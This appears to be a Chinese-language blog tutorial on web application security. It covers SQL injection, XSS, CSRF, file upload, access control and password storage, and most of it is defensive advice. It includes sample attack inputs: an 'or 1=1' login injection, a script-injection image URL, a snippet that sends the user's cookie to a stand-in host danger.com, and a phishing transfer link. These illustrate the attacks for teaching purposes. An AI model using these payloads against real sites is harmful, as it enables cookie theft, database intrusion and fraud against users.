Web安全實踐

網站安全

[TOC]

前言

安全無小事,成敗在細節,網絡有風險,災難彈指間。

安全一般情況下看不見,在你周圍漂浮著,顯現出來后,往往會刻骨銘心。正因為安全看不見,所以往往不受重視,因為感知到的概率真的太低,用戶的第一感知是他看得見、摸得著、嗅得到、品得出的東西,實實在在的東西,而不是那種虛無縹緲的東西,我們對概率低的東西往往默認選擇忽略。

編碼安全

反序列化命令執行

暴露或間接暴露反序列化API,導致用戶可以操作傳入數據,攻擊者可以精心構造反序列化對象并執行惡意代碼。

最典型的就是fastjson了,有一段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,并且給出了升級建議。fastjson在反序列化時會調用目標類的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中設置了一個想要執行的命令,那么就會導致很嚴重的后果遠程命令執行漏洞,即利用漏洞入侵到目標服務器,通過服務器執行命令。

所以針對這種開源框架及工具包,建議使用最新版本,避免被不法分子鉆漏洞。

SQL 注入

SQL注入漏洞是由于Web應用程序沒有對用戶輸入數據的合法性進行判斷,攻擊者通過Web頁面的輸入區域(如URL、表單等) ,用精心構造的SQL語句插入特殊字符和指令,通過和數據庫交互獲得私密信息或者篡改數據庫信息。SQL注入攻擊在Web攻擊中非常流行,攻擊者可以利用SQL注入漏洞獲得管理員權限,在網頁上加掛木馬和各種惡意程序,盜取企業和用戶敏感信息。

比如登錄的時候,用戶輸入了“admin' or 1=1 --”,

漏洞代碼:select * from user where username='${username}' and password=‘${password}'
SQL 執行:select * from user where username=' admin' or 1=1 -- ' and password=null

防范措施

  • 使用預處理執行SQL語句
  • 如果使用的是MyBatis,那么所有的變量必須使用#符號;如果特殊應用必須使用$的情況,必須確保變量完全來源于系統內部或代碼定義好的固定常量
  • 對于Order by或者表名、字段名等不能使用預處理的情況,研發人員可以在java層面做映射來進行解決

跨站 XSS(Cross-site scripting)

跨站腳本攻擊發生在客戶端,可被用于進行竊取隱私、釣魚欺騙、竊取密碼、傳播惡意代碼等攻擊。

攻擊者利用應用程序的動態展示數據功能,在html頁面里嵌入惡意代碼(如:“<script src=“..”></script>”)。當用戶瀏覽該頁之時,這些嵌入在html中的惡意代碼會被執行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的。

一個釣魚欺騙的例子,比如論壇里面有人回復了一條消息,假設用戶貼了一張圖片,src如下,

http://xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='http://danger.com/xxx.js' /\u003e"
其中“\u003c”對應“<”,“\u003e”對應“>”

一個盜取cookie的例子,同源策略不限制img標簽,img可能是惡意網址的鏈接,那么可以構造一個看不見的img,然后把用戶的cookie發送到惡意網址的服務器

var img=document.createElement("img");
img.src="http://danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);

安全編碼建議,Java側需要對非富文本采用escape轉義,富文本采用owasp antisamy;在javascript內容中輸出的“用戶可控數據”,需要做javascript escape轉義”,同時如果可以的話,給網站設置一個跳轉的白名單。

Java代碼如下

import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;

public class Test {

    public static void main(String[] args) {
        String str = "abc<script>alert(\"hello\")</script>def";

        // 非富文本采用escape轉義
        System.out.println("EscapeUtil:" + EscapeUtil.escape(str));

        // 富文本采用owasp antisamy
        AntiSamy antiSamy = new AntiSamy();
        try {
            Policy policy = Policy.getInstance(Test.class.getClassLoader()
                    .getResourceAsStream("antisamy-anythinggoes.xml"));
            CleanResults results = antiSamy.scan(str, policy);
            System.out.println("AntiSamy:" + results.getCleanHTML());
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

跨站請求偽造 CSRF(Cross-site request forgery)

攻擊者在用戶瀏覽網頁時,利用頁面元素(例如img的src),強迫受害者的瀏覽器向Web應用程序發送一個改變用戶信息的請求。

比如一個用戶的會話cookie在瀏覽器沒有關閉的時候,是不會被刪除的,所以可以換個思路,不再去偷這個cookie了,相反,可以在web.com中構造一個領獎頁面,里面包含一個連接,讓用戶去點擊,例如:

恭喜你獲得了iPhoneX一臺,快來<a href="www.icbc.com.cn/transfer?toBankId=黑客的賬戶&money=金額">領取吧</a>

這得先知道icbc.com.cn的轉賬操作的url和參數名稱。
如果這個用戶恰好登錄了icbc.com,那他的cookie還在,當他禁不住誘惑,點了這個鏈接后,一個轉賬操作就神不知鬼不覺的發生了。

防范措施

  • 用戶登陸時,設置一個CSRF的隨機TOKEN,同時后續都在請求后面帶上這個TOKEN
  • 生成表單的同時,推送TOKEN值。表單提交,判斷token是否一致,如果不一致或沒有這個值,判斷為CSRF攻擊,并記錄日志 ,如一致就放行,并重新生成下一個新的token
  • 重要操作增加二次圖片驗證碼或滑動驗證碼等
  • 致命操作使用二次密碼驗證或人臉識別等

URL跳轉

Web應用程序接收到用戶提交的URL參數后,沒有對參數做“可信任URL”的驗證,就向用戶瀏覽器返回跳轉到該URL的指令。一般發生在登錄授權的回調地址那里。

防范措施,添加跳轉白名單,判斷目的地址是否在白名單列表中,如果不在列表中,就判定為URL跳轉攻擊。

文件安全

任意文件上傳

文件上傳漏洞通常由于網頁代碼中的文件上傳路徑變量過濾不嚴造成的,如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站后門文件(webshell),進而遠程控制網站服務器。

防范措施

  • 檢查上傳文件擴展名白名單,不屬于白名單內,不允許上傳。
  • 上傳文件的目錄必須是http請求無法直接訪問到的。如果需要訪問的,必須上傳到其他(和web服務器不同的)域名下,并設置該目錄為不解析jsp等腳本語言的目錄。
  • 圖片上傳,要通過處理(縮略圖、水印等),無異常后才能保存到服務器。

任意文件下載

處理用戶請求下載文件時,允許用戶提交任意文件路徑,并把服務器上對應的文件直接發送給用戶,這將造成任意文件下載威脅。如果讓用戶提交文件目錄地址,就把目錄下的文件列表發給用戶,會造成目錄遍歷安全威脅。

防范措施

  • 文件路徑保存至數據庫,讓用戶提交文件對應ID下載文件
  • 下載文件之前做權限判斷
  • 不允許提供目錄遍歷服務

權限安全

垂直權限安全/縱向越權

由于應用程序沒有做鑒權,或鑒權做的比較粗,導致的惡意用戶可以通過窮舉遍歷管理頁面的URL,就可以訪問或控制其他角色擁有的數據或管理功能,達到權限提升目的。

可以采用細粒度鑒權策略,判斷當前用戶是否擁有功能的權限。

水平權限安全/橫向越權

應用程序根據用戶提交的ID(如訂單id、用戶id、商品id等),在沒有校驗身份的情況下,直接返回用戶信息,從而會造成攻擊者越權遍歷所有其他用戶信息的問題。

涉及到用戶數據的操作應進行嚴格的身份校驗,可以從服務端登錄態cookie或session信息中取值校驗,禁止通過用戶提交的ID信息直接進行數據操作。

信息安全

密碼

過去一段時間來, 眾多的網站遭遇用戶密碼數據庫泄露事件。層出不窮的類似事件對用戶會造成巨大的影響,因為人們往往習慣在不同網站使用相同的密碼,一家 “暴庫”,全部遭殃。

在用戶設置密碼時,需要校驗密碼的強度,要數字、密碼、特殊符號,且6位以上。

同時在網絡傳輸上,也要注意進行加密傳輸。

在密碼的存儲上,一定不能存儲明文,需要進行加密存儲,這其中經過一系列的存儲加密升級。

單純的MD5或sha算法加密,看起來很安全,沒法被破解,但是有了字典表/彩虹表破解的手段,破解出來就是很簡單的事了,具體可以看MD5 解密查詢的網站上,如果你的密碼很簡單,加密后的 MD5 密文都能反查出原始密碼來。

早期為了改進單向hash的缺陷,為了讓彩虹表失效,引入了鹽,鹽是隨機生成的一個唯一字符串,連在明文密碼后增強密碼的隨機性,然后再做hash得到的加密密文存儲在db中,這樣一個是相同的密碼存在db中的值就不同了,另一個是彩虹表也不會再起作用了。但是同樣以目前計算機的算力,暴力破解也是分分鐘的事情。

PBKDF2/BCrypt/SCrypt 算法,這幾種算法有一個特點,算法中都有個因子,用于指明計算密碼摘要所需要的資源和時間,也就是計算強度。計算強度越大,攻擊者建立rainbow table越困難,以至于不可繼續。這類算法也可以保證即使計算能力不斷提高,只要調整算法中的強度因子,密碼仍然不可能被輕易的攻破。

個人敏感信息

典型的如用戶的身份證跟手機號,現在很多網站,只要一個身份證跟手機號,就擁有了很多權限,對于這部分信息的存儲,也需要注意加密,且不能只使用簡單的加密算法,特別不要將編碼(如Base64)和密碼算法混為一談,前者不是密碼算法。不要使用DES等低強度的密碼算法,使用AES等高強度的加密算法。

驗證碼安全

登陸、注冊、短信驗證、郵件驗證等api往往會成為攻擊者撞庫、轟炸的目標。
在登陸、注冊、短信發送、郵件發送必須加入圖片驗證碼,同時驗證碼必須設置有效期和有效次數(一般為一次性),使用短信、郵件驗證時,必須限制同一ID或接收者的驗證碼發送頻率。

參考資料

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,748評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,165評論 3 414
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,595評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,633評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,435評論 6 405
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 54,943評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,035評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,175評論 0 287
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,713評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,599評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,788評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,303評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,034評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,412評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,664評論 1 280
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,408評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,747評論 2 370

推薦閱讀更多精彩內容